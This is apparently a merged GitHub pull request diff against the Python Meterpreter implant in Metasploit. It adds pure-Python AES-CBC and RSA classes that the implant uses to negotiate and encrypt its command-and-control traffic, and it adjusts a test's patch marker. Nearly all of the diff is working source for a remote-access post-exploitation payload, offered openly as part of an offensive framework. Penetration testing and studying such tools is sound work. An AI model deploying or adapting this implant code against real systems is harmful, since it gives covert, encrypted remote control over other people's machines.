Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
292 changes: 283 additions & 9 deletions python/meterpreter/meterpreter.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
#!/usr/bin/python
import binascii
import code
import copy
import os
import platform
import random
Expand Down Expand Up @@ -49,6 +50,7 @@
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
xrange = range

# reseed the random generator.
random.seed()
Expand Down Expand Up @@ -948,7 +950,7 @@ def decrypt_packet(self, pkt):
if enc_flag == ENC_AES256:
iv = raw[PACKET_HEADER_SIZE:PACKET_HEADER_SIZE+16]
encrypted = raw[PACKET_HEADER_SIZE+len(iv):]
return met_aes_decrypt(self.aes_key, iv, encrypted)
return AES_CBC(self.aes_key).decrypt(iv, encrypted)
else:
return raw[PACKET_HEADER_SIZE:]
return None
Expand Down Expand Up @@ -977,7 +979,7 @@ def encrypt_packet(self, pkt):
# sending it back to MSF, and it won't be able to decrypt it yet.
if self.aes_enabled:
iv = rand_bytes(16)
enc = iv + met_aes_encrypt(self.aes_key, iv, pkt[8:])
enc = iv + AES_CBC(self.aes_key).encrypt(iv, pkt[8:])
hdr = struct.pack('>I', len(enc) + 8) + pkt[4:8]
pkt = hdr + enc
# We change the packet encryption type to tell MSF that
Expand Down Expand Up @@ -1510,17 +1512,17 @@ def _core_patch_url(self, request, response):
return ERROR_SUCCESS, response

def _core_negotiate_tlv_encryption(self, request, response):
debug_print('[*] Negotiating TLV encryption')
debug_print('[*] negotiating TLV encryption')
self.transport.aes_key = rand_bytes(32)
self.transport.aes_enabled = False
response += tlv_pack(TLV_TYPE_SYM_KEY_TYPE, ENC_AES256)
der = packet_get_tlv(request, TLV_TYPE_RSA_PUB_KEY)['value'].strip()
debug_print('[*] RSA key: ' + str(binascii.b2a_hex(der)))
debug_print('[*] AES key: ' + hex(met_rsa.b2i(self.transport.aes_key)))
enc_key = met_rsa_encrypt(der, self.transport.aes_key)
debug_print('[*] Encrypted AES key: ' + hex(met_rsa.b2i(enc_key)))
debug_print('[*] received RSA key: ' + str(binascii.b2a_hex(der)))
debug_print('[*] generated AES key: ' + str(binascii.b2a_hex(self.transport.aes_key)))
enc_key = RSA(der).encrypt(self.transport.aes_key)
debug_print('[*] sending encrypted AES key: ' + hex(RSA.b2i(enc_key)))
response += tlv_pack(TLV_TYPE_ENC_SYM_KEY, enc_key)
debug_print('[*] TLV encryption sorted')
debug_print('[*] finished negotiating TLV encryption')
return ERROR_SUCCESS, response

def _core_loadlib(self, request, response):
Expand Down Expand Up @@ -1740,7 +1742,279 @@ def create_response(self, request):
debug_print("[*] sending response packet")
return response + tlv_pack(TLV_TYPE_RESULT, result)

# PATCH-SETUP-ENCRYPTION #
class AES_CBC(object):
nrs = {16: 10, 24: 12, 32: 14}
S = [
99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171,
118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156,
164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241,
113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226,
235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179,
41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57,
74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127,
80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218,
33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167,
126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238,
184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211,
172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108,
86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198,
232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246,
14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217,
142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191,
230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22
]

@staticmethod
def _gmul_helper(a, b):
r = 0
while b:
if b & 1:
r ^= a
a <<= 1
if a > 255:
a ^= 0x11B
b >>= 1
return r

@staticmethod
def _rcon_helper(gmul_func):
return [gmul_func(1, 1 << n) for n in range(30)]

@staticmethod
def _ror32(x):
return ((x >> 8) | (x << 24)) & 0xFFFFFFFF

@staticmethod
def _Si_helper(S):
return [S.index(n) for n in range(len(S))]

@staticmethod
def _mix_helper(n, vec, gmul_func):
return sum(gmul_func(n, v) << (24 - 8 * shift) for shift, v in enumerate(vec))

@staticmethod
def _mixl_helper(S, vec, gmul_func, mix_func):
return [mix_func(s, vec, gmul_func) for s in S]

@staticmethod
def _rorl_helper(T, ror_func):
return [ror_func(t) for t in T]

Si = _Si_helper.__get__(object)(S)
rcon = _rcon_helper.__get__(object)(_gmul_helper.__get__(object))
T1 = _mixl_helper.__get__(object)(S, (2, 1, 1, 3), _gmul_helper.__get__(object), _mix_helper.__get__(object))
T2 = _rorl_helper.__get__(object)(T1, _ror32.__get__(object))
T3 = _rorl_helper.__get__(object)(T2, _ror32.__get__(object))
T4 = _rorl_helper.__get__(object)(T3, _ror32.__get__(object))
T5 = _mixl_helper.__get__(object)(Si, (14, 9, 13, 11), _gmul_helper.__get__(object), _mix_helper.__get__(object))
T6 = _rorl_helper.__get__(object)(T5, _ror32.__get__(object))
T7 = _rorl_helper.__get__(object)(T6, _ror32.__get__(object))
T8 = _rorl_helper.__get__(object)(T7, _ror32.__get__(object))
U1 = _mixl_helper.__get__(object)(list(range(256)), (14, 9, 13, 11), _gmul_helper.__get__(object), _mix_helper.__get__(object))
U2 = _rorl_helper.__get__(object)(U1, _ror32.__get__(object))
U3 = _rorl_helper.__get__(object)(U2, _ror32.__get__(object))
U4 = _rorl_helper.__get__(object)(U3, _ror32.__get__(object))

def __init__(self, key):
if len(key)not in (16, 24, 32):
raise ValueError('Invalid key size')
rds = self.nrs[len(key)]
self._Ke = [[0] * 4 for i in xrange(rds + 1)]
self._Kd = [[0] * 4 for i in xrange(rds + 1)]
rnd_kc = (rds + 1) * 4
KC = len(key) // 4
tk = [struct.unpack('>i', key[i:i + 4])[0]
for i in xrange(0, len(key), 4)]
rconpointer = 0
t = KC
for i in xrange(0, KC):
self._Ke[i // 4][i % 4] = tk[i]
self._Kd[rds - (i // 4)][i % 4] = tk[i]
while t < rnd_kc:
tt = tk[KC - 1]
tk[0] ^= ((self.S[(tt >> 16) & 255] << 24) ^ (self.S[(tt >> 8) & 255] << 16) ^ (
self.S[tt & 255] << 8) ^ self.S[(tt >> 24) & 255] ^ (self.rcon[rconpointer] << 24))
rconpointer += 1
if KC != 8:
for i in xrange(1, KC):
tk[i] ^= tk[i - 1]
else:
for i in xrange(1, KC // 2):
tk[i] ^= tk[i - 1]
tt = tk[KC // 2 - 1]
tk[KC // 2] ^= (self.S[tt & 255] ^ (self.S[(tt >> 8) & 255] << 8) ^
(self.S[(tt >> 16) & 255] << 16) ^ (self.S[(tt >> 24) & 255] << 24))
for i in xrange(KC // 2 + 1, KC):
tk[i] ^= tk[i - 1]
j = 0
while j < KC and t < rnd_kc:
self._Ke[t // 4][t % 4] = tk[j]
self._Kd[rds - (t // 4)][t % 4] = tk[j]
j += 1
t += 1
for r in xrange(1, rds):
for j in xrange(0, 4):
tt = self._Kd[r][j]
self._Kd[r][j] = (self.U1[(tt >> 24) & 255] ^ self.U2[(tt >> 16) & 255] ^ self.U3[(tt >> 8) & 255] ^ self.U4[tt & 255])

def _cw(self, word):
return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3]

def _s2b(self, text):
if sys.version_info[0] >= 3 and isinstance(text, bytes):
return text
return list(ord(c) for c in text)

def _b2s(self, binary):
if sys.version_info[0] >= 3:
return bytes(binary)
return "".join(chr(b) for b in binary)

def _encdec(self, data, K, s, S, L1, L2, L3, L4):
if len(data) != 16:
raise ValueError('wrong block length')
rds = len(K) - 1
(s1, s2, s3) = s
a = [0, 0, 0, 0]
t = [(self._cw(data[4 * i:4 * i + 4]) ^ K[0][i])for i in xrange(0, 4)]
for r in xrange(1, rds):
for i in xrange(0, 4):
a[i] = L1[(t[i] >> 24) & 255]
a[i] ^= L2[(t[(i + s1) % 4] >> 16) & 255]
a[i] ^= L3[(t[(i + s2) % 4] >> 8) & 255]
a[i] ^= L4[t[(i + s3) % 4] & 255] ^ K[r][i]
t = copy.copy(a)
rst = []
for i in xrange(0, 4):
tt = K[rds][i]
rst.append((S[(t[i] >> 24) & 255] ^ (tt >> 24)) & 255)
rst.append((S[(t[(i + s1) % 4] >> 16) & 255] ^ (tt >> 16)) & 255)
rst.append((S[(t[(i + s2) % 4] >> 8) & 255] ^ (tt >> 8)) & 255)
rst.append((S[t[(i + s3) % 4] & 255] ^ tt) & 255)
return rst

def chunks(self, lst, n):
for i in range(0, len(lst), n):
yield lst[i:i + n]

def enc_in(self, pt):
return self._encdec(
pt, self._Ke, [
1, 2, 3], self.S, self.T1, self.T2, self.T3, self.T4)

def dec_in(self, ct):
return self._encdec(
ct, self._Kd, [
3, 2, 1], self.Si, self.T5, self.T6, self.T7, self.T8)

def pad(self, pt):
c = 16 - (len(pt) % 16)
return pt + bytes(chr(c) * c, 'utf-8')

def unpad(self, pt):
c = pt[-1]
if not isinstance(c, int):
c = ord(c)
return pt[:-c]

def encrypt(self, iv, pt):
if len(iv) != 16:
raise ValueError('initialization vector must be 16 bytes')
else:
self._lcb = self._s2b(iv)
pt = self.pad(pt)
return NULL_BYTE.__class__().join([self.enc_b(b) for b in self.chunks(pt, 16)])

def enc_b(self, pt):
if len(pt) != 16:
raise ValueError('plaintext block must be 16 bytes')
pt = self._s2b(pt)
pcb = [(p ^ l)for (p, l) in zip(pt, self._lcb)]
self._lcb = self.enc_in(pcb)
return self._b2s(self._lcb)

def decrypt(self, iv, ct):
if len(iv) != 16:
raise ValueError('initialization vector must be 16 bytes')
else:
self._lcb = self._s2b(iv)
if len(ct) % 16 != 0:
raise ValueError('ciphertext must be a multiple of 16')
return self.unpad(NULL_BYTE.__class__().join([self.dec_b(b) for b in self.chunks(ct, 16)]))

def dec_b(self, ct):
if len(ct) != 16:
raise ValueError('ciphertext block must be 16 bytes')
cb = self._s2b(ct)
pt = [(p ^ l) for (p, l) in zip(self.dec_in(cb), self._lcb)]
self._lcb = cb
return self._b2s(pt)

class RSA(object):
def __init__(self, key):
self.key = key

def _bt(self, b):
if sys.version_info[0] < 3:
return b
return ord(b)

@staticmethod
def b2i(b):
return int(binascii.b2a_hex(b), 16)

def _i2b(self, i):
h = '%x' % i
if len(h) % 2 == 1:
h = '0' + h
if sys.version_info[0] >= 3:
h = h.encode('utf-8')
return binascii.a2b_hex(h)

def _rs(self, a, o):
if a[o] == self._bt(struct.pack('B', 0x81)):
return (struct.unpack('B', a[o + 1])[0], 2 + o)
elif a[o] == self._bt(struct.pack('B', 0x82)):
return (struct.unpack('>H', a[o + 1:o + 3])[0], 3 + o)

def _ri(self, b, o):
i, o = self._rs(b, o)
return (b[o:o + i], o + i)

def _b2me(self, b):
if b[0] != self._bt(struct.pack('B', 0x30)):
return (None, None)
_, o = self._rs(b, 1)
if b[o] != self._bt(struct.pack('B', 2)):
return (None, None)
(m, o) = self._ri(b, o + 1)
if b[o] != self._bt(struct.pack('B', 2)):
return (None, None)
e = b[o + 2:]
return (self.b2i(m), self.b2i(e))

def _der2me(self, d):
if d[0] != self._bt(struct.pack('B', 0x30)):
return (None, None)
_, o = self._rs(d, 1)
while o < len(d):
if d[o] == self._bt(struct.pack('B', 0x30)):
o += struct.unpack('B', d[o + 1:o + 2])[0]
elif d[o] == self._bt(struct.pack('B', 0x05)):
o += 2
elif d[o] == self._bt(struct.pack('B', 0x03)):
_, o = self._rs(d, o + 1)
return self._b2me(d[o + 1:])
else:
return (None, None)

def encrypt(self, pt):
m, e = self._der2me(self.key)
h = struct.pack('BB', 0, 2)
d = struct.pack('B', 0)
l = 256 - len(h) - len(pt) - len(d)
p = os.urandom(512).replace(struct.pack('B', 0), struct.pack(''))
return self._i2b(pow(self.b2i(h + p[:l] + d + pt), e, m))

_try_to_fork = TRY_TO_FORK and hasattr(os, 'fork')
if not _try_to_fork or (_try_to_fork and os.fork() == 0):
Expand Down
2 changes: 1 addition & 1 deletion python/meterpreter/tests/test_ext_server_stdapi.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,7 @@ def create_meterpreter_context():
# Read and patch out the Meterpreter socket connection logic side effect onwards
source = file.read()
source_without_socket_connection = source[
0 : source.index(b"# PATCH-SETUP-ENCRYPTION #")
0 : source.index(b"_try_to_fork = TRY_TO_FORK")
]

context = {}
Expand Down